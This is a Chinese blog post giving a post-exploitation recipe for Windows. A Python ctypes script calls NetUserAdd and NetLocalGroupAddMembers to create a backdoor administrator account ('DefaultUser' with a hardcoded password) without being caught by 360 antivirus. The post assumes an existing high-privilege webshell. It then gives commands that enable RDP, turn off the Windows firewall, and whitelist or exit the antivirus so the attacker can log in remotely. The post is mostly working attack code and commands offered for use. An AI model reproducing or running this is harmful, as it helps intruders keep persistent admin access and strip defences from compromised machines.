首页 > 编程语言 >python3绕过360添加用户

python3绕过360添加用户

时间:2023-03-28 13:48:32浏览次数:41  
标签:username wintypes argv sys ui 360 绕过 python3 usri1

1.环境说明

  • 当前具有高权限账户会话,高权限webshell之类的
  • 当前环境下有360杀毒软件
  • 重点:需要有python3环境,如果没有,通过条件1 上传python3环境

2.python编写windows-api绕过360创建用户

  • 41行 自行修改添加用户名和密码
  • 58行 username='用户名'
  • 下面代码添加的用户名为: DefaultUser,密码为 admin@1234
import ctypes
from ctypes import wintypes
from ctypes import *
import sys


USER_PRIV_GUEST = 0
USER_PRIV_USER = 1
USER_PRIV_ADMIN = 2
UF_SCRIPT = 1
UF_NORMAL_ACCOUNT = 512
LPBYTE = POINTER(c_byte)


class USER_INFO_1(ctypes.Structure):
    _fields_ = [
        (
            'usri1_name', wintypes.LPWSTR),
        (
            'usri1_password', wintypes.LPWSTR),
        (
            'usri1_password_age', wintypes.DWORD),
        (
            'usri1_priv', wintypes.DWORD),
        (
            'usri1_home_dir', wintypes.LPWSTR),
        (
            'usri1_comment', wintypes.LPWSTR),
        (
            'usri1_flags', wintypes.DWORD),
        (
            'usri1_script_path', wintypes.LPWSTR)]


class _LOCALGROUP_MEMBERS_INFO_3(ctypes.Structure):
    _fields_ = [
        (
            'lgrmi3_domainandname', wintypes.LPWSTR)]


def adduser(username='DefaultUser', password='admin@1234'):
    ui = USER_INFO_1()
    ui.usri1_name = username
    ui.usri1_password = password
    ui.usri1_priv = USER_PRIV_USER
    ui.usri1_home_dir = None
    ui.usri1_comment = None
    ui.usri1_flags = UF_SCRIPT
    ui.usri1_script_path = None
    a = ctypes.windll.Netapi32.NetUserAdd(None, 1, ui, None)
    if a == 0:
        print("tambah pengguna success : nama={} kata laluan={}".format(username,password))
    else:
        print('tambah pengguna pengguna ralat')
    return


def addgroup(username='DefaultUser', groupname='Administrators'):
    name = _LOCALGROUP_MEMBERS_INFO_3()
    name.lgrmi3_domainandname = username
    ctypes.windll.Netapi32.NetLocalGroupAddMembers.argtypes = (
        wintypes.LPCWSTR, wintypes.LPCWSTR, wintypes.DWORD, LPBYTE, wintypes.DWORD)
    b = ctypes.windll.Netapi32.NetLocalGroupAddMembers(None, groupname,3, LPBYTE(name),1)
    if b == 0:
        print("Tambah ke kumpulan success : nama={} kumpulan={}".format(username,groupname))
    else:
        print('Tambah ke kumpulan ralat')
    return


def main():
    if len(sys.argv) == 1:
        adduser()
        addgroup()
    elif len(sys.argv) == 3:
        adduser(str(sys.argv[1]), str(sys.argv[2]))
        addgroup(str(sys.argv[1]))
    elif len(sys.argv) == 4:
        adduser(str(sys.argv[1]), str(sys.argv[2]))
        addgroup(str(sys.argv[1]), str(sys.argv[3]))
    else:
        print('usage: {} username password').format(sys.argv[1])
        print('usage: {} username password groupname').format(sys.argv[1])


if __name__ == '__main__':
    main()

3.开启3389

wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1

4.关闭防火墙

netsh advfirewall set allprofiles state off
netsh firewall set opmode mode=ENABLE       // 较旧的Windows版本 – XP / Server 2003

5.远程连接

  • DefaultUser:admin@1234 远程连接
  • 退出360,如果退出360权限不够,就加白名单

标签:username,wintypes,argv,sys,ui,360,绕过,python3,usri1
From: https://www.cnblogs.com/1nit/p/17264830.html

相关文章

  • 三菱Fx3U三轴定位控制程序,其中两轴为脉冲输出同步运行360度转盘
    三菱Fx3U三轴定位控制程序,其中两轴为脉冲输出同步运行360度转盘,3轴为工作台丝杆。1.本程序结构清晰,有公共程序,原点回归,手动点动运行,手动微动运行。报警程序,参数初始化程......
  • Python3 导入 excel 到 MySQL 数据库
    不必细说的背景最近在做一个Java项目,需要处理一批历史数据,由于工具限制,采用了Python导入excel到数据库的方式。 安装依赖包pipinstallpandaspipinstal......
  • python+playwright 学习-37.如何在已经打开的浏览器上继续操作,绕过登录验证码
    前言有些网站的安全级别比较高,你可能想绕过登录验证,先手工打开浏览器操作登录,让playwright继续在你已经打开的浏览器上操作。selenium是可以做到这点,那么playwright也可......
  • Python3.0 新特性
    这篇文章主要介绍了相比于python2.6,python3.0的新特性。更详细的介绍请参见python3.0的文档。CommonStumblingBlocks本段简单的列出容易使人出错的变动。  *prin......
  • python3实现阿里云短信发送功能
    #-*-coding:utf-8-*-importuuidimportsysimportjsonimportuuidfromaliyunsdkcore.clientimportAcsClientfromaliyunsdkcore.profileimportregion_pr......
  • python3验证手机号码
    importredefcheck_phone_right(self,phone_number):"""检测号码是否正确"""phone_number_strip=phone_number.strip()pattern=re.compile(r'^(......
  • Python2.X和Python3.X版本有哪些主要的区别
    1.print函数在Python2中,print语句是关键字而不是函数,其语法如下:print"Hello,World!"在Python3中,print是一个函数,需要使用小括号来包裹print参数。如下:print("Hell......
  • Centos7安装Python3.7
    说明:全部操作都在root用户下执行,python3.7安装在/root/python3目录下1.安装编译相关工具yum-ygroupinstall"Developmenttools"yum-yinstallzlib-develbzip2-dev......
  • Microsoft edge锁定在任务栏上,被修改主页360的解决方法
    今天从桌面下边的任务栏打开Microsoftedge浏览器,突然发现主页被篡改为360导航了(生气!恶龙咆哮ooo在桌面上是Microsoftedge,固定到任务栏就成为Microsoftedge(3),桌面打开好......
  • Python3之sqlalchemy
    1.SQLAlchemy介绍SQLAlchemy是Python中一款非常优秀的ORM框架,它可以与任意的第三方web框架相结合,如flask、tornado、django、fastapi等。SQLALchemy相较于Django......